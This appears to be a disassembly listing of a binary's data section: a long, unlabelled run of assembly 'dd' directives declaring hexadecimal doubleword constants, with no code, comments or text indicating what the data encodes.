		dd 0D3F38F69h, 3B1D8171h, 80F847E3h, 0BC4E50FEh, 0D1F50014h
		dd 2CF09F3Fh, 884BFA6Ah, 0F900D2A8h, 5E755D98h,	86025937h
		dd 7CC6E7B9h, 8775C038h, 42810041h, 0D605ED7Bh,	0C9001E2Ch
		dd 0C46C29Eh, 0AFF631h,	4B5A562h, 77F3489Ah, 56C1BA00h
		dd 97C6E1Ah, 593D0001h,	4702D38Ah, 0C430C33Eh, 2E64C8D8h
		dd 78C900E2h, 0C0DFF2CEh, 0C30E3B6Ch, 20DC0C0Dh, 0DED6396Eh
		dd 88F5A3DBh, 300A41F4h, 0CE16D068h, 3F06B69Eh,	957CD4AEh
		dd 25840188h, 0C7F1AC68h, 8C50C63Ah, 0E02DC209h, 0F3E0A72Bh
		dd 701777E0h, 5D2E00Fh,	423E6CC8h, 7394004Dh, 6BAEE372h
		dd 85EE5F00h, 1523CC0Ah, 0FDA901DDh, 3A7A081Ah,	98C84193h
		dd 23B110D8h, 0FD108648h, 33270E2Dh, 0C887C22h,	2AADB500h
		dd 0A75900B6h, 0A0D481C5h, 1C0B180Dh, 80130AC0h, 0DA4BF956h
		dd 1FBF00A3h, 8FC4BD88h, 49001DD2h, 16F5333Fh, 3549A43h
		dd 0BB2C146Fh, 8806D4ACh, 857F0B3Eh, 8AA109E8h,	3B87249Dh
		dd 5F3960DCh, 970727D7h, 3516E8DEh, 58AF007Eh, 2040E5h
		dd 5EF39E76h, 6C3A1A49h, 0A14C8303h, 87EE7443h,	298D7E30h
		dd 66040714h, 300AED17h, 0D1053802h, 18B21000h,	0EBD095BAh
		dd 0A4B300CAh, 4DCEF851h, 0EC3027F1h, 0D0A53834h, 0F4BE72BAh
		dd 9D60019Eh, 39FBE1F0h, 0CBC5400Bh, 95002BFh, 5E3DADA4h
		dd 714881DFh, 0B2763A1h, 74EC6865h, 0B4CD3044h,	0A69FAE28h
		dd 0E2674F00h, 0C9FD90DAh, 1B490758h, 706B3CA4h, 88CE3274h
		dd 19D21A00h, 0DCB68D91h, 1ECC0922h, 7C8EEEA9h,	6082458Bh
		dd 4200F1ECh, 1050F14h,	0B2152275h, 0CFB433DCh,	98064D8h
		dd 893A923Fh, 40FB02B8h, 480E7050h, 0DB00DB2Ah,	1B366A55h
		dd 2C60BA41h, 0CB30CE28h, 5F880264h, 0C8F1B21Ch, 4BFC30F8h
		dd 0F8A35C00h, 847845B3h, 3B990062h, 8A8FD77Dh,	0E809FA31h
		dd 4E441E0h, 4B809720h,	0F22B0222h, 4C40037Bh, 0F93D80Ch
		dd 145F92E8h, 95BE7D03h, 6252B2B4h, 398768A2h, 0F3348848h
		dd 802E6B3Ah, 84A4DA3Ah, 0B44FA2F4h, 6B2CF4h, 14798756h
		dd 1F01050Eh, 61160384h, 3460AD20h, 0E4726Bh, 0F847C7B3h
		dd 0AE62B729h, 63006575h, 7BC37975h, 1C8223FEh,	3F199A8h
		dd 0AE8531B5h, 2EF88388h
		dd 0CBB14300h, 1F1909DDh, 8A110051h, 0D4365463h, 69077B15h
		dd 0BAFAAA80h, 5C99EBE0h, 3C6A3B0Ah, 8EA6D800h,	2A87CA4h
		dd 56684C00h, 111F4E78h, 16854C1Ch, 0B1245800h,	52DEB8E0h
		dd 0A0058227h, 66611A4h, 7F3EA7Eh, 0F5027562h, 6E1E40BEh
		dd 0FF302BE3h, 0DE448EA4h, 4CCBF62Dh, 0BC48285Fh, 8C3A9112h
		dd 932E1268h, 4800A761h, 7DB15918h, 3F730486h, 0C0970223h
		dd 0DD138020h, 0FA664901h, 44320A47h, 1FFA9C0h,	5E4BA43Ah
		dd 60984CD9h, 0E701DC84h, 50B0085Bh, 0E820D3D1h, 8BDF1E8Fh
		dd 331C82FAh, 2560B327h, 0DA59243Fh, 79E80FA0h,	8634A09Fh
		dd 3EDA103h, 0D70ECF0Dh, 90C07816h, 0CE002445h,	0EFAB3EA4h
		dd 79A50AD4h, 6C802C05h, 0A6DF0FE9h, 38340033h,	0D95901F3h
		dd 0F2669F00h, 738FE3EAh, 0B5F8002Dh, 399DC08h,	0AE09AFB2h
		dd 50EA4463h, 128816BCh, 66344462h, 17B4D080h, 33006FF8h
		dd 0A2D72790h, 92C23Ah,	40F03959h, 2FFA0C1Ah, 50192124h
		dd 695BB100h, 1D1338h, 823A8A24h, 61D581AEh, 7003B72h
		dd 16A7EA0Bh, 0B99513h,	894AD3E6h, 0A917781h, 26113500h
		dd 444222B5h, 7B3C0E96h, 1C60374Bh, 49720E1Eh, 0A90084EAh
		dd 0BE428581h, 0B4E8A3h, 140A0F15h, 802F1FDFh, 254A05Ch
		dd 0AACA6588h, 0BF6FE087h, 7D130047h, 7FA18B29h, 1B006697h
		dd 0B4D8E30h, 0EA3FCEh,	187143D1h, 0BE299199h, 0BF36A007h
		dd 0CA67B417h, 0F81F3FC3h, 1B5B02h, 0EFA34F50h,	0F1669AFBh
		dd 3658B400h, 2408CB7Ah, 4EF00068h, 0D22D970Bh,	0A9007DBAh
		dd 53818D87h, 33FD59Ch,	821B86CEh, 6E80F3B4h, 0A538469Ah
		dd 0D6D30080h, 416CB5DDh, 3221047Fh, 0C00AC73Ch, 72162B00h
		dd 6BE8D100h, 53C2B3ABh, 0A8FF00B2h, 0C5DE5236h, 0A7F45D92h
		dd 3BAC105Ch, 0FE8880D2h, 3CBB89B6h, 1BCC01B4h,	21719CB5h
		dd 862C2079h, 39C640h, 62351A6Fh, 0E9781977h, 880A9D00h
		dd 4E7EC6B3h, 1FC0092h,	326F024Ah, 0C0006475h, 0D20FAC7Fh
		dd 9B7D2Ah, 97C9D36Ah, 55A9DCC7h, 763B9A0Bh, 0A0448047h
		dd 2539D22h, 346ADF6h, 2E3124Bh, 0E772C9A0h, 0B3DB8900h
		dd 1AB04535h, 0E15A07ADh, 1044EF9Ah, 0EBCEFCC9h, 0CA88C8FFh
		dd 6209B3FEh, 8005C1E9h, 27299443h, 0E87100E4h,	4C6B5D5h
		dd 5100E3B8h, 49D7874Dh, 0F6628FEh, 8B1B076Ch, 6DE953C0h
		dd 433E8E6Eh, 2025802Fh, 2A608EFh, 2E7109B9h, 48804C70h
		dd 0F3D29C54h, 27D3BA05h, 2080B3E9h, 87E39h, 6EDD538Ch
		dd 25546C3Eh, 7C95EB24h, 6600D3A6h, 5B4ED3DCh, 0AA5C0031h
		dd 83389E8Ch, 230477E2h, 0AA321ACh, 3C90E8C7h, 0F40DB9h
		dd 3D69B09Bh, 5232C00Bh, 968D3Bh, 19C8FFDBh, 39E5D0E3h
		dd 0AF0025CDh, 1286A0B3h, 0BE2C8985h, 0CB1DA467h, 74364FC7h
		dd 82EC02D9h, 41A0E539h, 2C263A09h, 412FB8h, 0ADA95AA8h
		dd 0A19300EBh, 9D7B6BBFh, 0CC002660h, 0F058013Eh, 0D13AACh
		dd 1ABB5292h, 0B1E8D7F7h, 4C84B200h, 30EA6359h,	0DE730418h
		dd 0D712A465h, 0A070D010h, 0BAE85271h, 0A13ABB00h, 6D99045Ch
		dd 33F100CEh, 0ABF0C12Eh, 69006E4Eh, 0C53262AFh, 54D88Ch
		dd 0B1C2A1A9h, 0D69C3303h, 85480595h, 932014D1h, 3273830h
		dd 2A95584Ah, 3E039C0h,	4303BE7Ah, 2C3FF64h, 0E3D692D1h
		dd 6B57B0A9h, 0E7540023h, 3687AB55h, 0F6F26D80h, 3E701800h
		dd 0BFAF985Ch, 38C98E1h, 0BD885CAh, 0D7C0DECCh,	4DF650B4h
		dd 9A51AC00h, 0C183C879h, 781FE884h, 7DF903ADh,	1D1BFC6Ch
		dd 0C94E87C8h, 63388A12h, 0E303E216h, 0E9AC647Fh, 0F020D212h
		dd 622F003Bh, 30C536E1h, 65005143h, 0D3F63DA3h,	15AFC3h
		dd 0B1EC8F44h, 61C45F27h, 80B96939h, 335DE05h, 8B9BE5h
		dd 7081ECEAh, 175D6BC5h, 70081B80h, 0F9F0005Eh,	0C3D614A9h
		dd 0DEF85441h, 43EA3817h, 0B900EEFCh, 3DD99AF6h, 0A8941FD0h
		dd 54FF1D3Ch, 7348202Dh, 0E82819h, 0AABFA894h, 0D416C7E5h
		dd 53EAF800h, 0A0B0912h, 12A090F2h, 0CC73E6FBh,	3C00B268h
		dd 1F8C6419h, 0F51123h,	0E083274Eh, 56AC285Fh, 7D735009h
		dd 664AC1B2h, 0C8BE4A87h, 0B75B608Dh, 1A076D76h, 2D2A72FDh
		dd 0AD2F36D0h, 34F54942h, 0BC8B2E21h, 0E55C0007h, 7AFD9381h
		dd 96E654h, 0EE0FDB66h,	9F1E2404h, 0C1480200h, 95C42522h
		dd 0C6E30BFCh, 0BCA20605h, 0F0EB4E98h, 0EF81EBA0h, 4CE02700h
		dd 3D8E4B28h, 785500DCh, 9A89662Ch, 4900F187h, 0C20DB7B5h
		dd 137CA08h, 0C9A55A39h, 802FC6C3h, 0D267B14Ch,	95BF6A0Ch
		dd 3DE6E080h, 1400056Dh, 4166AC1Ch, 0FECD7B53h,	612212CCh
		dd 0E044C715h, 737D9E83h, 0F021580Eh, 42D46154h, 3DECFC8Ah
		dd 707570EFh, 1AF3399Bh, 0E8B4AF00h, 0B54A4DB8h, 0FA28413Ch
		dd 7F7B4903h, 0ECE6BF14h, 671F58B9h, 914C224Ah,	602800D4h
		dd 0CF1C43D0h, 88E650C9h, 2FE598A1h, 4C8029ACh,	4090F34Eh
		dd 1348331Fh, 286588E4h, 885ACC90h, 3B012443h, 0E3E70035h
		dd 0C9497794h, 7D0CA500h, 3CD20A3Eh, 2D420140h,	5ABFBB57h
		dd 99F9F4F7h, 68300C03h, 0D852B428h, 4E06658h, 0DF3A9013h
		dd 323490E5h, 0B64CF70Bh, 0A6490084h, 1DE3A9F3h, 0E4485CD4h
		dd 2781DE00h, 0DA3D911Bh, 9FE96E00h, 0B58F8A0Dh, 0E8FA29D4h
		dd 5F9600B0h, 0DA87F357h, 4DA57800h, 3262A56h, 914E0075h
		dd 8EB0AE3Eh, 0E0032918h, 447431EBh, 0FA6999BBh, 213C4E8h
		dd 0B2B96D7Ah, 864063F5h, 0FF00FBA7h, 87F0C6FCh, 5934CD45h
		dd 0FD1F109Bh, 0C007917h, 0EC3F52A6h, 800C60Ah,	6C1FEEC3h
		dd 3A6864B9h, 0DC1D42FDh, 4078DFF2h, 0DB982090h, 0DF075FD5h
		dd 74B7A396h, 0A72661C1h, 4E9B63DCh, 4A4C30B3h,	150F7AC3h
		dd 80AAC957h, 0AD693B84h, 0F9DB00B0h, 1FC5BB37h, 0EB00AC0Eh
		dd 253168F3h, 0EE4C427h, 0E740DAE9h, 0EF79DFE0h, 0B600FF7Eh
		dd 6E37B79Bh, 0F55ED6h,	9606AFA3h, 0FB9583F7h, 30E03Eh
		dd 238C369Bh, 4B2647Ch,	4087560Ch, 84ADEFh, 3E8645C2h
		dd 7999E38Dh, 5C37058Bh, 80D990FAh, 0D792A6DFh,	0B1783F00h
		dd 0AC20BED3h, 51850361h, 0FCD9E6D8h, 0BF40FBF0h, 2C5E6306h
		dd 3B38ADF2h, 43809429h, 0C89AB98h, 4707E20Dh, 7270ACCEh
		dd 756D0950h, 0DA5AFFh,	7D2D0EE0h, 0C600A0BCh, 864DF637h
		dd 5CA49B10h, 8C006872h, 0F77E85F4h, 6D00E37Bh,	0C5DB0A71h
		dd 4B203Fh, 0DC50B8F8h,	5355BDEh, 2B655C00h, 1A07FF48h
		dd 0FE4B0ECBh, 0CE40497Dh, 0AC3BC5Dh, 75932100h, 555CAD7h
		dd 7ADF01ADh, 827B44A3h, 632B7091h, 26359907h, 0A040C43Dh
		dd 0B6451D70h, 0AB500014h, 25645B21h, 77016CB0h, 0C95FDFC5h
		dd 0DC340B23h, 531B1F45h, 0EC09259Ch, 486EB900h, 0FC02C352h
		dd 7BA7A506h, 70FC60C1h, 850E0254h, 0DE7F413Eh,	6114BD00h
		dd 22C7C6Ah, 0D9ECB1Eh,	0B8C8DAF3h, 555C28EBh, 0DF2100CCh
		dd 54A865A2h, 6DE73E50h, 0AD307107h, 3DFE2047h,	6001678h
		dd 6B849AEAh, 0B428A845h, 937E0988h, 751758D2h,	6CC3BACCh
		dd 0CD6400EFh, 2F1E943h, 600048AAh, 0B034F279h,	601872BDh
		dd 6212D99Dh, 6000A1C3h, 0E02F4482h, 2459ED3Ah,	54B222h
		dd 959E7952h, 0DF09E4F4h, 812D5AD8h, 0AC69120Ch, 0AF71D500h
		dd 1826BA07h, 38176327h, 4788C910h, 66870051h, 0E04C0323h
		dd 0A600188Ch, 0B943A28Dh, 26530F4Bh, 808CD769h, 0CC5C4D94h
		dd 340E7EF0h, 0E68ADC42h
		dd 2988753h, 4FEBDF29h,	8468E4DEh, 0C26A31Dh, 0A28578F3h
		dd 0D480C5D4h, 0E8A4AD82h, 632E00B6h, 168B6215h, 730BB59Fh
		dd 5D3145h, 351E5E7Ch, 0FA20001Ch, 484BC7C3h, 0E300CCB8h
		dd 0B254D133h, 9E5036F6h, 0FD1558A4h, 0C8BCBB00h, 1C4FD093h
		dd 944C4C59h, 986FF004h, 8A4C13Dh, 0A06838h, 34646BC2h
		dd 599C2F43h, 804ECE75h, 0A3049550h, 0FC3F9D01h, 0F4F3B2EEh
		dd 49367E0h, 91077F4Ah,	3F8C0410h, 2C0000A7h, 0E34F1ACEh
		dd 6F0045CAh, 6DAD9D0Ch, 19F64Eh, 87E571Dh, 6861D5EEh
		dd 0B806CD00h, 0EDD70A72h, 0EB3702B9h, 60896CB2h, 110D8E80h
		dd 34147BE4h, 114080F1h, 533817E0h, 6A2DFDBFh, 4BAB000h
		dd 0BD042F4Bh, 3FB60252h, 24990A0h, 0B9E5C199h,	24D891DEh
		dd 4D77F30Eh, 0DD1AC49Eh, 4E0018A2h, 8B829254h,	0FF604A3Ah
		dd 0ED89A040h, 0EB7B7Bh, 0A36FE647h, 16B86909h,	496BF500h
		dd 0FABD86DBh, 53A51C34h, 57A007Dh, 0A08D0DFDh,	1B929600h
		dd 6A433CBh, 0CE2001CDh, 0AA78E5A5h, 4389D87Bh,	0BB00457Dh
		dd 1968022Dh, 0C94B0h, 6F1EEE6Ch, 3C8233DFh, 1DD1D800h
		dd 9CF24566h, 354C8Bh, 0AE748913h, 0B85D0Fh, 0FCAB17F7h
		dd 2D7E015Eh, 0A72849A8h, 509DC1EAh, 0B288E59Ch, 995B5C77h
		dd 0C8C0DC1Ch, 3DADCA9Ch, 0A9E177Dh, 0F1F30430h, 77CE946h
		dd 8D66F571h, 0DA06605Eh, 1DA507B1h, 0D27830DBh, 0C88001E7h
		dd 6C4BB20Fh, 0E3DF0058h, 0B8A10E26h, 409E0060h, 0EF7E63D7h
		dd 44004694h, 2C775AA8h, 71DBAEh, 0D13EF743h, 0F87017C0h
		dd 0C00E7C30h, 2B6C6Fh,	19D673Ah, 4053D074h, 70122300h
		dd 20822850h, 756C000Fh, 0D60D7C21h, 4D006BC3h,	0A2ED47B4h
		dd 0DB2504h, 0CB63BABh,	9914F2F8h, 0CF921000h, 617A2BD8h
		dd 0FB340066h, 0D6C5FECDh, 8B00DCE7h, 0FC7BD39Ch, 7662221h
		dd 0B408C839h, 9E2C10B5h, 0DD0045C9h, 1C85145Fh, 5168C4h
		dd 0DAF509B7h, 0B837621Fh, 0E6EEBA00h, 4FEAD054h, 40350079h
		dd 84B542D8h, 1B009789h, 9AA23625h, 562A69h, 9C06B8A9h
		dd 0D0227F86h, 418C141Fh, 776DACC1h, 2803D90h, 5C2CF630h
		dd 0FD00F8D1h, 0E0A4D6FCh, 72BAE3E1h, 55A20002h, 7BE28DDh
		dd 1F0ED2C6h, 6068779Bh, 0FC4358F9h, 0B1140035h, 0C06C1DA5h
		dd 0F1790D1Ah, 9D77B500h, 628C4A4Ch, 0C98F0011h, 0A1BDFC8h
		dd 0DE00B4E6h, 2E7E8D72h, 0BC79E2h, 2975904Bh, 0B484E322h
		dd 3424072Eh, 9EA8D900h, 0FE497F35h, 8041392Ch,	0E0E1FA81h
		dd 0D4C315C5h, 9F0E5B5h, 93E84500h, 70F77144h, 6E773853h
		dd 400FC09Dh, 577425FBh, 0B0008854h, 1A454119h,	7A7B91CAh
		dd 643C003Fh, 89BE3048h, 0D60042BCh, 6A10179Ch,	9186246h
		dd 3D2D8B36h, 0B65F8A83h, 23A232A0h, 0C9BAA03h,	0E019DBBFh
		dd 7D11D26Dh, 4060DC7Ah, 0ABB0BB50h, 0A6F4BE97h, 3A2C670Fh
		dd 0C6AC16Fh, 9FC405Dh,	0DE7B288Bh, 67821ED0h, 0C307408Eh
		dd 7036ECBCh, 0FC717400h, 920549E5h, 0E8E70FB3h, 64C084F5h
		dd 42606321h, 2E26E4FFh, 88804B00h, 0E81891B6h,	844000F9h
		dd 0E6438638h, 49000F98h, 67137CF3h, 7AA2D3h, 0E98C5254h
		dd 954E3676h, 49176D0Ch, 751877h, 7AED86ACh, 0FC3C13D4h
		dd 4EB13Eh, 8B0834Fh, 0FB6DA182h, 3B81852h, 1D8DA9Ah, 0CE18CB4Ah
		dd 4F215BA1h, 40A00B3h,	3E6BBD1Dh, 75003576h, 6385193h
		dd 9885ACF1h, 0FBD005E0h, 0C08C56C6h, 20E73A3Bh, 7B404F63h
		dd 76CE89B0h, 4AF75080h, 18D99A06h, 0DA368600h,	0B5D249EEh
		dd 0BD9C375h, 0E3D15629h, 815CF9ABh, 108263B8h,	370C12CEh
		dd 2ED8B10h, 666BA100h,	532345A5h, 873E4400h, 89D9FDC6h
		dd 51043FD7h, 0B1E30203h, 6BF80175h, 59E035F5h,	0FD5DB800h
		dd 912220CFh, 545812D8h, 0C0761DBAh, 0A7D1AE50h, 0C009A0Dh
		dd 92871585h, 0FAE7F297h, 72092CF9h, 0EE7900FDh, 992FFD25h
		dd 6F481C00h, 0AF9CA220h, 4C5A000Bh, 9D01EF05h,	8F000D80h
		dd 0B8C4D594h, 308EBBF5h, 0AFF98683h, 18005BD4h, 0AB41B5DAh
		dd 73BC0BE0h, 147B06C2h, 28288EE1h, 5D007076h, 0E3FA5455h
		dd 6CE03DEh, 0EEAAF31Fh, 5C067842h, 8B8EB607h, 0E13A0031h
		dd 66821E2Fh, 0C8908531h, 8FF76F05h, 0D800EDE4h, 3C624F0Ch
		dd 0D46C519Fh, 387DA7C0h, 0FA18E4C4h, 1B914990h, 167AC0A4h
		dd 763F1C00h, 0D13798ACh, 1D87072Ah, 6704F19Bh,	54A9A06Fh
		dd 0E1C08B75h, 0C5404759h, 17CE015Ah, 0BCA2FB65h, 580CF301h
		dd 6987887Eh, 2FAB0384h, 0C7E006CEh, 588B7CA8h,	5E00F57Fh
		dd 0E4E7F6FEh, 50AC0Bh,	0C0A7FF77h, 6DB3A3D3h, 871CF404h
		dd 44916ACFh, 3C246BBBh, 1FB40013h, 0A4C87A2Ch,	1809D62Ah
		dd 87E1FEBEh, 0B7E08EE3h, 190D7FB0h, 41516B87h,	9DBCC00Ch
		dd 71C4BB19h, 2FE81B48h, 155639CCh, 221FCDB8h, 659AC702h
		dd 4A0B605Ch, 0DB305551h, 0C723F980h, 764600BBh, 0F4294401h
		dd 56003196h, 554DFF10h, 0C15CDFh, 9AE26F5Fh, 87525B11h
		dd 0ADD0E518h, 0C6F722h, 0CCE6697Fh, 0B26B85C1h, 0F9922001h
		dd 0BCF6D867h, 51523320h, 0B7E4E15Dh, 0E850074Ah, 1DE85C2h
		dd 60995CD9h, 6300AB77h, 0E78BEEDBh, 1826A34h, 86B7F952h
		dd 0BFA597D5h, 42042228h, 0D770792Ah, 7F08D181h, 20161144h
		dd 1507E6F4h, 86BD385Dh, 5A45942h, 32280AC2h, 62C11F14h
		dd 0FB887975h, 105E893Fh, 0CEC451h, 3679C039h, 4928F52Dh
		dd 6EE57600h, 3C67B391h, 0C681006Ch, 64345735h,	0B67C6B69h
		dd 0C90990E6h, 76FE1522h, 3B2100B9h, 0BBCB57E4h, 0E60BD00h
		dd 0C4ED709h, 156E07D5h, 1B949670h, 81823080h, 472CF650h
		dd 0A2004D13h, 46AAFB3Fh, 0E4C30073h, 34A363ADh, 0B6001196h
		dd 1A4DA810h, 501D2Bh, 86427891h, 584E5771h, 0B500265Eh
		dd 38E79DEAh, 0D556036Ch, 0B21CCF67h, 2C08E08Fh, 0C01D950Dh
		dd 7AC00F0Ch, 57870E28h, 7F3239BBh, 688FA880h, 3CA79FF1h
		dd 5CFEAD01h, 5F06BA35h, 62B0C8h, 7147E8Fh, 0AC23EAF3h
		dd 8E1DA3A0h, 8707B7FEh, 36AFCBBCh, 3480A734h, 32DB6h
		dd 0EA58FD19h, 0AD7FF147h, 0AC6AC000h, 12B3E955h, 2B8C00FFh
		dd 28C732A6h, 2F03B674h, 269B3DDAh, 4A70B0CCh, 2D200254h
		dd 86E4AF33h, 0FA24AC80h, 931D1C07h, 80804F0Bh,	0B7180EEEh
		dd 28580167h, 0F5F1E9CDh, 0C30BFCD7h, 0C8AEB500h, 0EC98C953h
		dd 0DA7E07C2h, 0C0153F2Fh, 9E7975B8h, 0B70A4A00h, 3B85CB6Dh
		dd 713C078Ah, 7037B19Ch, 3D1727E1h, 0B9AD6504h,	0FFC0EDEFh
		dd 18DBA22Dh, 0F0681245h, 0B402A5DFh, 0EDDDCF7Bh, 1A8880B5h
		dd 9FAE7h, 10A87C93h, 8840AD80h, 110090F8h, 9AEFE3DFh
		dd 0A0FBE0F1h, 31741F8h, 52CE88CAh, 3880BF2Ah, 55007BBCh
		dd 6FA9EA15h, 24FD26A6h, 0E866EBh, 80C76072h, 4503542Ah
		dd 11DB30Ah, 0AB06B024h, 780BB004h, 0FC522E6Eh,	1043014Dh
		dd 0C8BD4836h, 0E01FC9AEh, 0F0EEAF23h, 4E55DB00h, 8FDDD7h
		dd 687C439h, 11AEED93h,	7700D17Fh, 6ECF221Bh, 78043BD8h
		dd 13A70059h, 0BD6752AEh, 0FBE8BB1Ah, 93208B14h, 654C00A7h
		dd 0CB686E3Ch, 2273CE8h, 0EA01A980h, 0C672075Dh, 6BDF0407h
		dd 0B0C0C134h, 0EA22193Bh, 0AF13000Fh, 1C603A07h, 0C47CA4EFh
		dd 1200CB7Fh, 45CAFFB9h, 863F8h, 7689DC6Fh, 0A8DDFD71h
		dd 0B02ADA00h, 727BC193h, 604A0088h, 6798BE9Dh,	0F400CA3Bh
		dd 0FC4E6F6Ch
		dd 0FEB11Bh, 0C24997E7h, 0C59C9468h, 5E54D71Ch,	4B0B8900h
		dd 74F32BA3h, 0C0240E19h, 68607BECh, 1932A23h, 0D6AC7D01h
		dd 24C8E671h, 60BCF8h, 182CE3ABh, 0C263CDBFh, 0DA767DE6h
		dd 7BB2A507h, 9587AC06h, 502D97E0h, 117C0019h, 0DB651A8Fh
		dd 6E50F910h, 10E14DF0h, 3C7606E2h, 820068FDh, 0C5F81D88h
		dd 2A3C3565h, 344CA46Eh, 13C34600h, 6B4963h, 3240C0A6h
		dd 0E1EBCF07h, 0EC4F5700h, 34056A0Eh, 0D38D00FEh, 0BCAF5815h
		dd 901C131h, 0F2A273C2h, 0C2EB684Fh, 3A5FE07Ch,	637A00A7h
		dd 4239A09Ch, 246F650Ch, 30E8A5C8h, 80497FC0h, 36940029h
		dd 69FAD4A4h, 3D00240Bh, 0C42812BCh, 614E17h, 0D885205Ch
		dd 46F58A7Eh, 0B32803FAh, 7C008F10h, 0BC52BD24h, 3ED39A68h
		dd 0DC809133h, 0BF803982h, 0E60B18F8h, 0D4DF77h, 6B4F6E30h
		dd 40C700F3h, 0B160FA36h, 0F90EF423h, 20DCABE5h, 91FC5D51h
		dd 687900E0h, 39F2D330h, 2E00EDF6h, 77D4824Bh, 7AC8BC81h
		dd 0A39B0025h, 0CE950A8Ch, 0FE0050B5h, 0D338CC7Bh, 564E614Fh
		dd 0EA00C059h, 1BEECE53h, 7539406Eh, 9A8C0007h,	0BCB06AADh
		dd 8BCA00E4h, 43F61803h, 682E3F39h, 0DA032788h,	0E095441Bh
		dd 7AB725h, 97B66E1h, 0EF5A4FB8h, 3663D002h, 0E1A8F897h
		dd 0FA60B1A3h, 599C0FA6h, 68E06030h, 0EF461EDFh, 0B8471700h
		dd 9480A543h, 21B502F0h, 1A77D890h, 8D3F7FE0h, 3CD4951Fh
		dd 0F5005B52h, 0A0FDA98Fh, 65CE009Fh, 678D011Ah, 0CB034F83h
		dd 0B51D976h, 556EE86Dh, 15C000EBh, 1DBD6002h, 3C00902Bh
		dd 0A5A90DA7h, 744167h,	0C4CB5F3Dh, 4DE165E3h, 0A119541Eh
		dd 0BC1FB792h, 0FF6D5580h, 5CD8BBh, 38A53907h, 654737ACh
		dd 88066426h, 5AC0E69Eh, 0EA63315Fh, 0C2C80078h, 0E3D21F33h
		dd 0C13FEDCCh, 42DA8067h, 0B09D044Eh, 5BFA00C7h, 0D0370CADh
		dd 6D00C894h, 0EE0F68DBh, 2C38E528h, 710CA09h, 73D7344Ah
		dd 878085DEh, 14008A1Ch, 3F24B39Ah, 16F7AFBDh, 413396C4h
		dd 832B56D4h, 6704207Fh, 0AD007EE6h, 1F0CF848h,	5DCB03h
		dd 0E5298E32h, 0B04AA201h, 0E1093FFCh, 37F330h,	0D29EEAD4h
		dd 84640087h, 0F70D2A8Ah, 0BE1C8D4Ah, 2880FFE0h, 50DCAA79h
		dd 0E71400EAh, 0A68FA93h, 0DA00E931h, 2926F752h, 6CC7A04h
		dd 508B6DC0h, 6A0090A2h, 20FF63DCh, 0AAF6BEh, 82ECDF40h
		dd 9E37C8E4h, 0A936DA00h, 0EA76FA57h, 0F2FEE010h, 0CC9A07h
		dd 425C9E47h, 0CA45D433h, 0BADC6100h, 514B0E92h, 0C2BD00EAh
		dd 84665A06h, 0F1F0D146h, 897BC02h, 0C0F52702h,	0A3397D99h
		dd 4FF0B7E0h, 25029AEh,	0A8088E99h, 80805A71h, 6E1441ABh
		dd 0B1000090h, 1F4657C3h, 21FA9Dh, 0E1434249h, 2F16A97h
		dd 5CEC6650h, 0BD562700h, 0EE074863h, 4A2B0F9Ah, 0FC83C182h
		dd 8B89854h, 0BC39ECADh, 1DD4034Eh, 88D9FD3Eh, 4C2AF36h
		dd 9B5157F0h, 302887F5h, 0A449CA6Ah, 7AE8BB00h,	978D304Eh
		dd 2C9880h, 0B562137Eh,	0C8571A7Dh, 0A3177C00h,	4E5DEC63h
		dd 4AF1265Ah, 0CF4030Ah, 0C8075334h, 5E639116h,	0D4400D75h
		dd 4B208D24h, 9AB40047h, 1D51337Dh, 93074AB0h, 976B8EE2h
		dd 0FDBE3A90h, 0AA271D8Dh, 0B36900EBh, 78ABA396h, 53675A06h
		dd 0FE3AA42Fh, 7DC30065h, 16108F5Dh, 0D400FA92h, 0B63DAA48h
		dd 491474h, 8065DF89h, 57F1011Eh, 0C20EE273h, 0BA1CBh
		dd 9592998Bh, 4EAA007Dh, 0EE168F67h, 0DD00A8BEh, 0BC6A1D9Ch
		dd 55D1DCh, 59B2CECBh, 2C202FBAh, 0CD192D00h, 74739033h
		dd 3A520FFAh, 56A0EF0Ch, 1E6C76Bh, 531CA51Fh, 0F713B343h
		dd 0A1D6A95Dh, 61D6E02Bh, 31006DEAh, 0B226E0CBh, 2B60460h
		dd 0D88A44Ch, 0A161854Eh, 0C166E80Eh, 4D0FE81Eh, 3364A900h
		dd 52CD3Dh, 584520F4h, 7B4F10E3h, 0CF612500h, 1A3BF4Eh
		dd 0FCD13AA7h, 0BCF7ED80h, 40B7BDF2h, 80794200h, 7E576B20h
		dd 0AD44074Fh, 901329A3h, 0F24DD9CAh, 7651FB0Fh, 0ED46C04Ah
		dd 1D81FEBCh, 4042FF03h, 6F3E3501h, 0B8005DA3h,	8DA80520h
		dd 0F21DA0h, 0BC69D972h, 1A4D58B1h, 84B6143Dh, 0B294F693h
		dd 855B80FAh, 8AE8CC21h, 42462800h, 16565C15h, 68AD0075h
		dd 0CD1F6065h, 5F1ECB9Ah, 0A3DC7B8h, 0F469A385h, 0A7D9F200h
		dd 0A2CEC8h, 0E3614CEFh, 7773DD48h, 33524907h, 0AF802628h
		dd 214CB24h, 0E2B27246h, 0E0558C9Fh, 49CCCFh, 0B410FD61h
		dd 97CF144Eh, 841D500h,	1B42096Ch, 36800023h, 7765B6EFh
		dd 95F4E317h, 794BA600h, 8562F267h, 28C46005h, 0CB38FA45h
		dd 0CA33D42Eh, 0A8F0501Dh, 7B6FD68Eh, 5229C076h, 67E65645h
		dd 0BAD13000h, 0E4BEBF7Dh, 0C7D600A1h, 9447FC93h, 390EE669h
		dd 0DF04CFDBh, 9C1AC400h, 4B0376h, 0B128F025h, 0E58B4C63h
		dd 0D2D8600h, 356651ACh, 218117FAh, 4D44014Ah, 0E0484942h
		dd 920F3C05h, 40DBC5CBh, 7306D428h, 0FD440007h,	0ED999D40h
		dd 4572BAE4h, 59885C00h, 0E9FF7C69h, 0EAEC00E7h, 0ABAE4134h
		dd 390060EDh, 0B479A846h, 0EA0F233h, 0F40F918h,	0BAC077EEh
		dd 6F4CCA7h, 0A8D49600h, 67DCB065h, 0C6600711h,	0D07AC371h
		dd 3C1A90D8h, 0A9A19404h, 0F680FE9Ah, 3C7B2BC9h, 0FF8004E3h
		dd 0A499ABAAh, 0E9E21695h, 4DDCB100h, 0FD302482h, 216007CFh
		dd 102BE642h, 8C99111Eh, 0D1A50326h, 6B23D000h,	0A1D49Ah
		dd 1BCEACCAh, 0B1A93D68h, 4498007h, 207CA4ECh, 46E6F4h
		dd 0E9F7E4B8h, 3CDF5B7Ch, 0C2E5FE00h, 87DD2F9Eh, 5D130025h
		dd 0B56327F1h, 700073C4h, 452334BFh, 1E1DEF9Ah,	80460299h
		dd 0BA13D975h, 40597EAh, 655EF6A5h, 5280E384h, 0CE82CFh
